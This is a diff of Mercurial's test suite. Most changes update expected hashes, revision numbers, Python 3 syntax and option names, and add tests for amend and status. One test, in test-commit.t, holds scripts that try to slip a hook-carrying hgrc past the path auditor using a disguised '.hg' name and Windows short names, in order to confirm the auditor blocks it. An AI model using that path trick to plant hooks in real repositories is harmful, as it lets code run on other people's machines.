   $ HGEDITOR="\"sh\" \"`pwd`/editor.sh\"" hg commit --amend
-  transaction abort!
-  rollback completed
   abort: empty commit message
   [255]
   $ hg book
-     book1                     1:48bb6e53a15f
-   * book2                     1:48bb6e53a15f
+     book1                     1:a3b65065808c
+   * book2                     1:a3b65065808c
   $ hg revert -Caq
   $ rm editor.sh
 
@@ -375,9 +374,9 @@
   $ hg branch default -f
   marked working directory as branch default
   $ hg ci --amend -m 'back to default'
-  saved backup bundle to $TESTTMP/.hg/strip-backup/8ac881fbf49d-fd962fef-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/f8339a38efe1-c18453c9-amend.hg (glob)
   $ hg branches
-  default                        2:ce12b0b57d46
+  default                        2:9c07515f2650
 
 Close branch:
 
@@ -391,7 +390,7 @@
   $ echo b >> b
   $ hg ci -mb
   $ hg ci --amend --close-branch -m 'closing branch foo'
-  saved backup bundle to $TESTTMP/.hg/strip-backup/c962248fa264-6701c392-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/c962248fa264-54245dc7-amend.hg (glob)
 
 Same thing, different code path:
 
@@ -400,9 +399,9 @@
   reopening closed branch head 4
   $ echo b >> b
   $ hg ci --amend --close-branch
-  saved backup bundle to $TESTTMP/.hg/strip-backup/027371728205-49c0c55d-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/027371728205-b900d9fa-amend.hg (glob)
   $ hg branches
-  default                        2:ce12b0b57d46
+  default                        2:9c07515f2650
 
 Refuse to amend during a merge:
 
@@ -421,7 +420,7 @@
   $ hg ci -m 'b -> c'
   $ hg mv c d
   $ hg ci --amend -m 'b -> d'
-  saved backup bundle to $TESTTMP/.hg/strip-backup/b8c6eac7f12e-adaaa8b1-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/42f3f27a067d-f23cc9f7-amend.hg (glob)
   $ hg st --rev '.^' --copies d
   A d
     b
@@ -429,7 +428,7 @@
   $ hg ci -m 'e = d'
   $ hg cp e f
   $ hg ci --amend -m 'f = d'
-  saved backup bundle to $TESTTMP/.hg/strip-backup/7f9761d65613-d37aa788-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/9198f73182d5-251d584a-amend.hg (glob)
   $ hg st --rev '.^' --copies f
   A f
     d
@@ -440,7 +439,7 @@
   $ hg cp a f
   $ mv f.orig f
   $ hg ci --amend -m replacef
-  saved backup bundle to $TESTTMP/.hg/strip-backup/9e8c5f7e3d95-90259f67-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/f0993ab6b482-eda301bf-amend.hg (glob)
   $ hg st --change . --copies
   $ hg log -r . --template "{file_copies}\n"
   
@@ -452,7 +451,7 @@
   adding g
   $ hg mv g h
   $ hg ci --amend
-  saved backup bundle to $TESTTMP/.hg/strip-backup/24aa8eacce2b-7059e0f1-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/58585e3f095c-0f5ebcda-amend.hg (glob)
   $ hg st --change . --copies h
   A h
   $ hg log -r . --template "{file_copies}\n"
@@ -472,11 +471,11 @@
   $ echo a >> a
   $ hg ci -ma
   $ hg ci --amend -m "a'"
-  saved backup bundle to $TESTTMP/.hg/strip-backup/3837aa2a2fdb-2be01fd1-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/39a162f1d65e-9dfe13d8-amend.hg (glob)
   $ hg log -r . --template "{branch}\n"
   a
   $ hg ci --amend -m "a''"
-  saved backup bundle to $TESTTMP/.hg/strip-backup/c05c06be7514-ed28c4cd-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/d5ca7b1ac72b-0b4c1a34-amend.hg (glob)
   $ hg log -r . --template "{branch}\n"
   a
 
@@ -493,9 +492,9 @@
   $ hg graft 12
   grafting 12:2647734878ef "fork" (tip)
   $ hg ci --amend -m 'graft amend'
-  saved backup bundle to $TESTTMP/.hg/strip-backup/bd010aea3f39-eedb103b-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/fe8c6f7957ca-25638666-amend.hg (glob)
   $ hg log -r . --debug | grep extra
-  extra:       amend_source=bd010aea3f39f3fb2a2f884b9ccb0471cd77398e
+  extra:       amend_source=fe8c6f7957ca1665ed77496ed7a07657d469ac60
   extra:       branch=a
   extra:       source=2647734878ef0236dda712fae9c1651cf694ea8a
 
@@ -520,7 +519,8 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > evolution=createmarkers,allowunstable
+  > evolution.createmarkers=True
+  > evolution.allowunstable=True
   > EOF
 
 Amend with no files changes
@@ -531,26 +531,26 @@
   $ hg id -n
   14
   $ hg log -Gl 3 --style=compact
-  @  14[tip]:11   b650e6ee8614   1970-01-01 00:00 +0000   test
+  @  14[tip]:11   682950e85999   1970-01-01 00:00 +0000   test
   |    babar
   |
   | o  12:0   2647734878ef   1970-01-01 00:00 +0000   test
   | |    fork
   | ~
-  o  11   3334b7925910   1970-01-01 00:00 +0000   test
+  o  11   0ddb275cfad1   1970-01-01 00:00 +0000   test
   |    a''
   ~
   $ hg log -Gl 4 --hidden --style=compact
-  @  14[tip]:11   b650e6ee8614   1970-01-01 00:00 +0000   test
+  @  14[tip]:11   682950e85999   1970-01-01 00:00 +0000   test
   |    babar
   |
-  | x  13:11   68ff8ff97044   1970-01-01 00:00 +0000   test
+  | x  13:11   5167600b0f7a   1970-01-01 00:00 +0000   test
   |/     amend for phase
   |
   | o  12:0   2647734878ef   1970-01-01 00:00 +0000   test
   | |    fork
   | ~
-  o  11   3334b7925910   1970-01-01 00:00 +0000   test
+  o  11   0ddb275cfad1   1970-01-01 00:00 +0000   test
   |    a''
   ~
 
@@ -562,23 +562,23 @@
   $ echo 'babar' >> a
   $ hg commit --amend
   $ hg log -Gl 6 --hidden --style=compact
-  @  16[tip]:11   9f9e9bccf56c   1970-01-01 00:00 +0000   test
+  @  15[tip]:11   a5b42b49b0d5   1970-01-01 00:00 +0000   test
   |    babar
   |
-  | x  15   90fef497c56f   1970-01-01 00:00 +0000   test
-  | |    temporary amend commit for b650e6ee8614
-  | |
-  | x  14:11   b650e6ee8614   1970-01-01 00:00 +0000   test
+  | x  14:11   682950e85999   1970-01-01 00:00 +0000   test
   |/     babar
   |
-  | x  13:11   68ff8ff97044   1970-01-01 00:00 +0000   test
+  | x  13:11   5167600b0f7a   1970-01-01 00:00 +0000   test
   |/     amend for phase
   |
   | o  12:0   2647734878ef   1970-01-01 00:00 +0000   test
   | |    fork
   | ~
-  o  11   3334b7925910   1970-01-01 00:00 +0000   test
+  o  11   0ddb275cfad1   1970-01-01 00:00 +0000   test
   |    a''
+  |
+  o  10   5fa75032e226   1970-01-01 00:00 +0000   test
+  |    g
   ~
 
 
@@ -586,12 +586,12 @@
 ---------------------------------------------------------------------
 
   $ hg id -r 14 --hidden
-  b650e6ee8614 (a)
+  682950e85999 (a)
   $ hg revert -ar 14 --hidden
   reverting a
   $ hg commit --amend
   $ hg id
-  b99e5df575f7 (a) tip
+  37973c7e0b61 (a) tip
 
 Test that rewriting leaving instability behind is allowed
 ---------------------------------------------------------------------
@@ -600,17 +600,17 @@
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ echo 'b' >> a
   $ hg log --style compact -r 'children(.)'
-  18[tip]:11   b99e5df575f7   1970-01-01 00:00 +0000   test
+  16[tip]:11   37973c7e0b61   1970-01-01 00:00 +0000   test
     babar
   
   $ hg commit --amend
-  $ hg log -r 'unstable()'
-  changeset:   18:b99e5df575f7
+  $ hg log -r 'orphan()'
+  changeset:   16:37973c7e0b61
   branch:      a
-  parent:      11:3334b7925910
+  parent:      11:0ddb275cfad1
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
-  trouble:     unstable
+  instability: orphan
   summary:     babar
   
 
@@ -635,10 +635,10 @@
   (no more unresolved files)
   $ hg ci -m 'merge bar'
   $ hg log --config diff.git=1 -pr .
-  changeset:   23:163cfd7219f7
+  changeset:   20:163cfd7219f7
   tag:         tip
-  parent:      22:30d96aeaf27b
-  parent:      21:1aa437659d19
+  parent:      19:30d96aeaf27b
+  parent:      18:1aa437659d19
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
   summary:     merge bar
@@ -668,10 +668,10 @@
   $ HGEDITOR="sh .hg/checkeditform.sh" hg ci --amend -m 'merge bar (amend message)' --edit
   HGEDITFORM=commit.amend.merge
   $ hg log --config diff.git=1 -pr .
-  changeset:   24:bca52d4ed186
+  changeset:   21:bca52d4ed186
   tag:         tip
-  parent:      22:30d96aeaf27b
-  parent:      21:1aa437659d19
+  parent:      19:30d96aeaf27b
+  parent:      18:1aa437659d19
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
   summary:     merge bar (amend message)
@@ -701,10 +701,10 @@
   $ hg mv zz z
   $ hg ci --amend -m 'merge bar (undo rename)'
   $ hg log --config diff.git=1 -pr .
-  changeset:   26:12594a98ca3f
+  changeset:   22:12594a98ca3f
   tag:         tip
-  parent:      22:30d96aeaf27b
-  parent:      21:1aa437659d19
+  parent:      19:30d96aeaf27b
+  parent:      18:1aa437659d19
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
   summary:     merge bar (undo rename)
@@ -737,10 +737,10 @@
   $ echo aa >> aaa
   $ hg ci -m 'merge bar again'
   $ hg log --config diff.git=1 -pr .
-  changeset:   28:dffde028b388
+  changeset:   24:dffde028b388
   tag:         tip
-  parent:      26:12594a98ca3f
-  parent:      27:4c94d5bc65f5
+  parent:      22:12594a98ca3f
+  parent:      23:4c94d5bc65f5
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
   summary:     merge bar again
@@ -772,10 +772,10 @@
   $ hg mv aaa aa
   $ hg ci --amend -m 'merge bar again (undo rename)'
   $ hg log --config diff.git=1 -pr .
-  changeset:   30:18e3ba160489
+  changeset:   25:18e3ba160489
   tag:         tip
-  parent:      26:12594a98ca3f
-  parent:      27:4c94d5bc65f5
+  parent:      22:12594a98ca3f
+  parent:      23:4c94d5bc65f5
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
   summary:     merge bar again (undo rename)
@@ -814,10 +814,10 @@
   use (c)hanged version, (d)elete, or leave (u)nresolved? c
   $ hg ci -m 'merge bar (with conflicts)'
   $ hg log --config diff.git=1 -pr .
-  changeset:   33:b4c3035e2544
+  changeset:   28:b4c3035e2544
   tag:         tip
-  parent:      32:4b216ca5ba97
-  parent:      31:67db8847a540
+  parent:      27:4b216ca5ba97
+  parent:      26:67db8847a540
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
   summary:     merge bar (with conflicts)
@@ -826,10 +826,10 @@
   $ hg rm aa
   $ hg ci --amend -m 'merge bar (with conflicts, amended)'
   $ hg log --config diff.git=1 -pr .
-  changeset:   35:1205ed810051
+  changeset:   29:1205ed810051
   tag:         tip
-  parent:      32:4b216ca5ba97
-  parent:      31:67db8847a540
+  parent:      27:4b216ca5ba97
+  parent:      26:67db8847a540
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
   summary:     merge bar (with conflicts, amended)
@@ -870,12 +870,12 @@
 ---------------------------------------------------------------------
 
   $ hg phase '.^::.'
-  35: draft
-  36: draft
+  29: draft
+  30: draft
   $ hg commit --amend --secret -m 'amend as secret' -q
   $ hg phase '.^::.'
-  35: draft
-  38: secret
+  29: draft
+  31: secret
 
 Test that amend with --edit invokes editor forcibly
 ---------------------------------------------------
@@ -1065,12 +1065,12 @@
   o  0 a0
   
 
-The way mercurial does amends is to create a temporary commit (rev 3) and then
-fold the new and old commits together into another commit (rev 4). During this
-process, _findlimit is called to check how far back to look for the transitive
-closure of file copy information, but due to the divergence of the filelog
-and changelog graph topologies, before _findlimit was fixed, it returned a rev
-which was not far enough back in this case.
+The way mercurial does amends is by folding the working copy and old commit
+together into another commit (rev 3). During this process, _findlimit is called
+to  check how far back to look for the transitive closure of file copy
+information, but due to the divergence of the filelog and changelog graph
+topologies, before _findlimit was fixed, it returned a rev which was not far
+enough back in this case.
   $ hg mv a1 a2
   $ hg status --copies --rev 0
   A a2
@@ -1078,7 +1078,7 @@
   R a0
   $ hg ci --amend -q
   $ hg log -G --template '{rev} {desc}'
-  @  4 a1-amend
+  @  3 a1-amend
   |
   | o  1 a1
   |/
@@ -1161,10 +1161,10 @@
   $ hg ci --amend -m "chmod amended"
   $ hg ci --amend -m "chmod amended second time"
   $ hg log -p --git -r .
-  changeset:   8:b1326f52dddf
+  changeset:   7:b1326f52dddf
   branch:      newdirname
   tag:         tip
-  parent:      5:7fd235f7cb2f
+  parent:      4:7fd235f7cb2f
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
   summary:     chmod amended second time
@@ -1174,3 +1174,96 @@
   new mode 100755
   
 #endif
+
+Test amend with file inclusion options
+--------------------------------------
+
+These tests ensure that we are always amending some files that were part of the
+pre-amend commit. We want to test that the remaining files in the pre-amend
+commit were not changed in the amended commit. We do so by performing a diff of
+the amended commit against its parent commit.
+  $ cd ..
+  $ hg init testfileinclusions
+  $ cd testfileinclusions
+  $ echo a > a
+  $ echo b > b
+  $ hg commit -Aqm "Adding a and b"
+
+Only add changes to a particular file
+  $ echo a >> a
+  $ echo b >> b
+  $ hg commit --amend -I a
+  $ hg diff --git -r null -r .
+  diff --git a/a b/a
+  new file mode 100644
+  --- /dev/null
+  +++ b/a
+  @@ -0,0 +1,2 @@
+  +a
+  +a
+  diff --git a/b b/b
+  new file mode 100644
+  --- /dev/null
+  +++ b/b
+  @@ -0,0 +1,1 @@
+  +b
+
+  $ echo a >> a
+  $ hg commit --amend b
+  $ hg diff --git -r null -r .
+  diff --git a/a b/a
+  new file mode 100644
+  --- /dev/null
+  +++ b/a
+  @@ -0,0 +1,2 @@
+  +a
+  +a
+  diff --git a/b b/b
+  new file mode 100644
+  --- /dev/null
+  +++ b/b
+  @@ -0,0 +1,2 @@
+  +b
+  +b
+
+Exclude changes to a particular file
+  $ echo b >> b
+  $ hg commit --amend -X a
+  $ hg diff --git -r null -r .
+  diff --git a/a b/a
+  new file mode 100644
+  --- /dev/null
+  +++ b/a
+  @@ -0,0 +1,2 @@
+  +a
+  +a
+  diff --git a/b b/b
+  new file mode 100644
+  --- /dev/null
+  +++ b/b
+  @@ -0,0 +1,3 @@
+  +b
+  +b
+  +b
+
+Check the addremove flag
+  $ echo c > c
+  $ rm a
+  $ hg commit --amend -A
+  removing a
+  adding c
+  $ hg diff --git -r null -r .
+  diff --git a/b b/b
+  new file mode 100644
+  --- /dev/null
+  +++ b/b
+  @@ -0,0 +1,3 @@
+  +b
+  +b
+  +b
+  diff --git a/c b/c
+  new file mode 100644
+  --- /dev/null
+  +++ b/c
+  @@ -0,0 +1,1 @@
+  +c
diff --git a/tests/test-commit-interactive-curses.t b/tests/test-commit-interactive-curses.t
--- a/tests/test-commit-interactive-curses.t
+++ b/tests/test-commit-interactive-curses.t
@@ -206,7 +206,7 @@
   > X
   > EOF
   $ hg commit -i  -m "newly added file" -d "0 0"
-  saved backup bundle to $TESTTMP/a/.hg/strip-backup/2b0e9be4d336-28bbe4e2-amend.hg (glob)
+  saved backup bundle to $TESTTMP/a/.hg/strip-backup/2b0e9be4d336-3cf0bc8c-amend.hg (glob)
   $ hg diff -c .
   diff -r a6735021574d -r c1d239d165ae x
   --- /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -345,7 +345,7 @@
   > $PYTHON <<EOF
   > from mercurial import hg, ui;\
   > repo = hg.repository(ui.ui.load(), ".");\
-  > print repo.ui.interface("chunkselector")
+  > print(repo.ui.interface("chunkselector"))
   > EOF
   > }
   $ chunkselectorinterface
diff --git a/tests/test-commit-multiple.t b/tests/test-commit-multiple.t
--- a/tests/test-commit-multiple.t
+++ b/tests/test-commit-multiple.t
@@ -90,7 +90,7 @@
   >     f.close()
   > 
   > def printfiles(repo, rev):
-  >     print "revision %s files: %s" % (rev, repo[rev].files())
+  >     print("revision %s files: %s" % (rev, repo[rev].files()))
   > 
   > repo = hg.repository(ui.ui.load(), '.')
   > assert len(repo) == 6, \
@@ -99,14 +99,14 @@
   > replacebyte("bugfix", "u")
   > sleep(2)
   > try:
-  >     print "PRE: len(repo): %d" % len(repo)
+  >     print("PRE: len(repo): %d" % len(repo))
   >     wlock = repo.wlock()
   >     lock = repo.lock()
   >     replacebyte("file1", "x")
   >     repo.commit(text="x", user="test", date=(0, 0))
   >     replacebyte("file1", "y")
   >     repo.commit(text="y", user="test", date=(0, 0))
-  >     print "POST: len(repo): %d" % len(repo)
+  >     print("POST: len(repo): %d" % len(repo))
   > finally:
   >     lock.release()
   >     wlock.release()
diff --git a/tests/test-commit.t b/tests/test-commit.t
--- a/tests/test-commit.t
+++ b/tests/test-commit.t
@@ -642,9 +642,10 @@
   
 verify pathauditor blocks evil filepaths
   $ cat > evil-commit.py <<EOF
-  > from mercurial import ui, hg, context, node
+  > from __future__ import absolute_import
+  > from mercurial import context, hg, node, ui as uimod
   > notrc = u".h\u200cg".encode('utf-8') + '/hgrc'
-  > u = ui.ui.load()
+  > u = uimod.ui.load()
   > r = hg.repository(u, '.')
   > def filectxfn(repo, memctx, path):
   >     return context.memfilectx(repo, path, '[hooks]\nupdate = echo owned')
@@ -666,9 +667,10 @@
   $ hg rollback -f
   repository tip rolled back to revision 2 (undo commit)
   $ cat > evil-commit.py <<EOF
-  > from mercurial import ui, hg, context, node
+  > from __future__ import absolute_import
+  > from mercurial import context, hg, node, ui as uimod
   > notrc = "HG~1/hgrc"
-  > u = ui.ui.load()
+  > u = uimod.ui.load()
   > r = hg.repository(u, '.')
   > def filectxfn(repo, memctx, path):
   >     return context.memfilectx(repo, path, '[hooks]\nupdate = echo owned')
@@ -684,9 +686,10 @@
   $ hg rollback -f
   repository tip rolled back to revision 2 (undo commit)
   $ cat > evil-commit.py <<EOF
-  > from mercurial import ui, hg, context, node
+  > from __future__ import absolute_import
+  > from mercurial import context, hg, node, ui as uimod
   > notrc = "HG8B6C~2/hgrc"
-  > u = ui.ui.load()
+  > u = uimod.ui.load()
   > r = hg.repository(u, '.')
   > def filectxfn(repo, memctx, path):
   >     return context.memfilectx(repo, path, '[hooks]\nupdate = echo owned')
diff --git a/tests/test-completion.t b/tests/test-completion.t
--- a/tests/test-completion.t
+++ b/tests/test-completion.t
@@ -218,17 +218,17 @@
 Show all commands + options
   $ hg debugcommands
   add: include, exclude, subrepos, dry-run
-  annotate: rev, follow, no-follow, text, user, file, date, number, changeset, line-number, skip, ignore-all-space, ignore-space-change, ignore-blank-lines, include, exclude, template
-  clone: noupdate, updaterev, rev, branch, pull, uncompressed, ssh, remotecmd, insecure
+  annotate: rev, follow, no-follow, text, user, file, date, number, changeset, line-number, skip, ignore-all-space, ignore-space-change, ignore-blank-lines, ignore-space-at-eol, include, exclude, template
+  clone: noupdate, updaterev, rev, branch, pull, uncompressed, stream, ssh, remotecmd, insecure
   commit: addremove, close-branch, amend, secret, edit, interactive, include, exclude, message, logfile, date, user, subrepos
-  diff: rev, change, text, git, binary, nodates, noprefix, show-function, reverse, ignore-all-space, ignore-space-change, ignore-blank-lines, unified, stat, root, include, exclude, subrepos
+  diff: rev, change, text, git, binary, nodates, noprefix, show-function, reverse, ignore-all-space, ignore-space-change, ignore-blank-lines, ignore-space-at-eol, unified, stat, root, include, exclude, subrepos
   export: output, switch-parent, rev, text, git, binary, nodates
   forget: include, exclude
   init: ssh, remotecmd, insecure
-  log: follow, follow-first, date, copies, keyword, rev, removed, only-merges, user, only-branch, branch, prune, patch, git, limit, no-merges, stat, graph, style, template, include, exclude
+  log: follow, follow-first, date, copies, keyword, rev, line-range, removed, only-merges, user, only-branch, branch, prune, patch, git, limit, no-merges, stat, graph, style, template, include, exclude
   merge: force, rev, preview, tool
   pull: update, force, rev, bookmark, branch, ssh, remotecmd, insecure
-  push: force, rev, bookmark, branch, new-branch, ssh, remotecmd, insecure
+  push: force, rev, bookmark, branch, new-branch, pushvars, ssh, remotecmd, insecure
   remove: after, force, subrepos, include, exclude
   serve: accesslog, daemon, daemon-postexec, errorlog, port, address, prefix, name, web-conf, webdir-conf, pid-file, stdio, cmdserver, templates, style, ipv6, certificate, subrepos
   status: all, modified, added, removed, deleted, clean, unknown, ignored, no-status, terse, copies, print0, rev, change, include, exclude, subrepos, template
diff --git a/tests/test-conflict.t b/tests/test-conflict.t
--- a/tests/test-conflict.t
+++ b/tests/test-conflict.t
@@ -44,6 +44,23 @@
   $ hg id
   618808747361+c0c68e4fe667+ tip
 
+  $ echo "[commands]" >> $HGRCPATH
+  $ echo "status.verbose=true" >> $HGRCPATH
+  $ hg status
+  M a
+  ? a.orig
+  # The repository is in an unfinished *merge* state.
+  
+  # Unresolved merge conflicts:
+  # 
+  #     a
+  # 
+  # To mark files as resolved:  hg resolve --mark FILE
+  
+  # To continue:                hg commit
+  # To abort:                   hg update --clean .    (warning: this will discard uncommitted changes)
+  
+
   $ cat a
   Small Mathematical Series.
   1
@@ -58,7 +75,7 @@
   >>>>>>> merge rev:    c0c68e4fe667 - test: branch1
   Hop we are done.
 
-  $ hg status
+  $ hg status --config commands.status.verbose=0
   M a
   ? a.orig
 
diff --git a/tests/test-context-metadata.t b/tests/test-context-metadata.t
new file mode 100644
--- /dev/null
+++ b/tests/test-context-metadata.t
@@ -0,0 +1,50 @@
+Tests about metadataonlyctx
+
+  $ hg init
+  $ echo A > A
+  $ hg commit -A A -m 'Add A'
+  $ echo B > B
+  $ hg commit -A B -m 'Add B'
+  $ hg rm A
+  $ echo C > C
+  $ echo B2 > B
+  $ hg add C -q
+  $ hg commit -m 'Remove A'
+
+  $ cat > metaedit.py <<EOF
+  > from __future__ import absolute_import
+  > from mercurial import context, registrar
+  > cmdtable = {}
+  > command = registrar.command(cmdtable)
+  > @command('metaedit')
+  > def metaedit(ui, repo, arg):
+  >     # Modify commit message to "FOO"
+  >     with repo.wlock(), repo.lock(), repo.transaction('metaedit'):
+  >         old = repo['.']
+  >         kwargs = dict(s.split('=', 1) for s in arg.split(';'))
+  >         if 'parents' in kwargs:
+  >             kwargs['parents'] = kwargs['parents'].split(',')
+  >         new = context.metadataonlyctx(repo, old, **kwargs)
+  >         new.commit()
+  > EOF
+  $ hg --config extensions.metaedit=$TESTTMP/metaedit.py metaedit 'text=Changed'
+  $ hg log -r tip
+  changeset:   3:ad83e9e00ec9
+  tag:         tip
+  parent:      1:3afb7afe6632
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     Changed
+  
+  $ hg --config extensions.metaedit=$TESTTMP/metaedit.py metaedit 'parents=0' 2>&1 | egrep '^RuntimeError'
+  RuntimeError: can't reuse the manifest: its p1 doesn't match the new ctx p1
+
+  $ hg --config extensions.metaedit=$TESTTMP/metaedit.py metaedit 'user=foo <foo@example.com>'
+  $ hg log -r tip
+  changeset:   4:1f86eaeca92b
+  tag:         tip
+  parent:      1:3afb7afe6632
+  user:        foo <foo@example.com>
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     Remove A
+  
diff --git a/tests/test-context.py b/tests/test-context.py
--- a/tests/test-context.py
+++ b/tests/test-context.py
@@ -178,3 +178,14 @@
             print('data mismatch')
     except Exception as ex:
         print('cannot read data: %r' % ex)
+
+with repo.wlock(), repo.lock(), repo.transaction('test'):
+    with open(b'4', 'wb') as f:
+        f.write(b'4')
+    repo.dirstate.normal('4')
+    repo.commit('4')
+    revsbefore = len(repo.changelog)
+    repo.invalidate(clearfilecache=True)
+    revsafter = len(repo.changelog)
+    if revsbefore != revsafter:
+        print('changeset lost by repo.invalidate()')
diff --git a/tests/test-contrib-check-code.t b/tests/test-contrib-check-code.t
--- a/tests/test-contrib-check-code.t
+++ b/tests/test-contrib-check-code.t
@@ -213,32 +213,32 @@
   [1]
 
   $ cat > ./map-inside-gettext.py <<EOF
-  > print _("map inside gettext %s" % v)
+  > print(_("map inside gettext %s" % v))
   > 
-  > print _("concatenating " " by " " space %s" % v)
-  > print _("concatenating " + " by " + " '+' %s" % v)
+  > print(_("concatenating " " by " " space %s" % v))
+  > print(_("concatenating " + " by " + " '+' %s" % v))
   > 
-  > print _("mapping operation in different line %s"
-  >         % v)
+  > print(_("mapping operation in different line %s"
+  >         % v))
   > 
-  > print _(
-  >         "leading spaces inside of '(' %s" % v)
+  > print(_(
+  >         "leading spaces inside of '(' %s" % v))
   > EOF
   $ "$check_code" ./map-inside-gettext.py
   ./map-inside-gettext.py:1:
-   > print _("map inside gettext %s" % v)
+   > print(_("map inside gettext %s" % v))
    don't use % inside _()
   ./map-inside-gettext.py:3:
-   > print _("concatenating " " by " " space %s" % v)
+   > print(_("concatenating " " by " " space %s" % v))
    don't use % inside _()
   ./map-inside-gettext.py:4:
-   > print _("concatenating " + " by " + " '+' %s" % v)
+   > print(_("concatenating " + " by " + " '+' %s" % v))
    don't use % inside _()
   ./map-inside-gettext.py:6:
-   > print _("mapping operation in different line %s"
+   > print(_("mapping operation in different line %s"
    don't use % inside _()
   ./map-inside-gettext.py:9:
-   > print _(
+   > print(_(
    don't use % inside _()
   [1]
 
@@ -285,11 +285,43 @@
   >           ''' "%-6d \n 123456 .:*+-= foobar")
   > EOF
 
+superfluous pass
+
+  $ cat > superfluous_pass.py <<EOF
+  > # correct examples
+  > if foo:
+  >     pass
+  > else:
+  >     # comment-only line means still need pass
+  >     pass
+  > def nothing():
+  >     pass
+  > class empty(object):
+  >     pass
+  > if whatever:
+  >     passvalue(value)
+  > # bad examples
+  > if foo:
+  >     "foo"
+  >     pass
+  > else: # trailing comment doesn't fool checker
+  >     wat()
+  >     pass
+  > def nothing():
+  >     "docstring means no pass"
+  >     pass
+  > class empty(object):
+  >     """multiline
+  >     docstring also
+  >     means no pass"""
+  >     pass
+  > EOF
+
 (Checking multiple invalid files at once examines whether caching
 translation table for repquote() works as expected or not. All files
 should break rules depending on result of repquote(), in this case)
 
-  $ "$check_code" stringjoin.py uigettext.py
+  $ "$check_code" stringjoin.py uigettext.py superfluous_pass.py
   stringjoin.py:1:
    > foo = (' foo'
    string join across lines with no space
@@ -317,4 +349,16 @@
   uigettext.py:1:
    > ui.status("% 10s %05d % -3.2f %*s %%"
    missing _() in ui message (use () to hide false-positives)
+  superfluous_pass.py:14:
+   > if foo:
+   omit superfluous pass
+  superfluous_pass.py:17:
+   > else: # trailing comment doesn't fool checker
+   omit superfluous pass
+  superfluous_pass.py:20:
+   > def nothing():
+   omit superfluous pass
+  superfluous_pass.py:23:
+   > class empty(object):
+   omit superfluous pass
   [1]
diff --git a/tests/test-contrib.t b/tests/test-contrib.t
--- a/tests/test-contrib.t
+++ b/tests/test-contrib.t
@@ -79,6 +79,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets de1da620e7d8:46946d278c50
 
 Verify:
 
diff --git a/tests/test-convert-clonebranches.t b/tests/test-convert-clonebranches.t
--- a/tests/test-convert-clonebranches.t
+++ b/tests/test-convert-clonebranches.t
@@ -31,7 +31,9 @@
 Miss perl... sometimes
 
   $ cat > filter.py <<EOF
-  > import sys, re
+  > from __future__ import absolute_import
+  > import re
+  > import sys
   > 
   > r = re.compile(r'^(?:\d+|pulling from)')
   > sys.stdout.writelines([l for l in sys.stdin if r.search(l)])
diff --git a/tests/test-convert-cvs.t b/tests/test-convert-cvs.t
--- a/tests/test-convert-cvs.t
+++ b/tests/test-convert-cvs.t
@@ -12,10 +12,10 @@
   $ echo "convert = " >> $HGRCPATH
   $ cat > cvshooks.py <<EOF
   > def cvslog(ui,repo,hooktype,log):
-  >     print "%s hook: %d entries"%(hooktype,len(log))
+  >     ui.write('%s hook: %d entries\n' % (hooktype,len(log)))
   > 
   > def cvschangesets(ui,repo,hooktype,changesets):
-  >     print "%s hook: %d changesets"%(hooktype,len(changesets))
+  >     ui.write('%s hook: %d changesets\n' % (hooktype,len(changesets)))
   > EOF
   $ hookpath=`pwd`
   $ cat <<EOF >> $HGRCPATH
diff --git a/tests/test-convert-p4-filetypes.t b/tests/test-convert-p4-filetypes.t
--- a/tests/test-convert-p4-filetypes.t
+++ b/tests/test-convert-p4-filetypes.t
@@ -746,10 +746,10 @@
   $Header$$Header$Header$
 
 crazy_symlink
-  $ readlink crazy_symlink+k
-  target_$Header: //depot/test-mercurial-import/crazy_symlink+k#1 $
-  $ readlink dst/crazy_symlink+k
-  target_$Header$
+  $ readlink.py crazy_symlink+k
+  crazy_symlink+k -> target_$Header: //depot/test-mercurial-import/crazy_symlink+k#1 $
+  $ readlink.py dst/crazy_symlink+k
+  dst/crazy_symlink+k -> target_$Header$
 
 exit trap:
   stopping the p4 server
diff --git a/tests/test-copy-move-merge.t b/tests/test-copy-move-merge.t
--- a/tests/test-copy-move-merge.t
+++ b/tests/test-copy-move-merge.t
@@ -1,3 +1,6 @@
+Test for the full copytracing algorithm
+=======================================
+
   $ hg init t
   $ cd t
 
@@ -81,7 +84,7 @@
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   saved backup bundle to $TESTTMP/t/.hg/strip-backup/550bd84c0cd3-fc575957-backup.hg (glob)
   $ hg up -qC 2
-  $ hg rebase --keep -d 1 -b 2 --config extensions.rebase= --config experimental.disablecopytrace=True --config ui.interactive=True << EOF
+  $ hg rebase --keep -d 1 -b 2 --config extensions.rebase= --config experimental.copytrace=off --config ui.interactive=True << EOF
   > c
   > EOF
   rebasing 2:add3f11052fa "other" (tip)
@@ -117,7 +120,7 @@
   |
   o  0 add a
   
-  $ hg rebase -d . -b 2 --config extensions.rebase= --config experimental.disablecopytrace=True
+  $ hg rebase -d . -b 2 --config extensions.rebase= --config experimental.copytrace=off
   rebasing 2:6adcf8c12e7d "copy b->x"
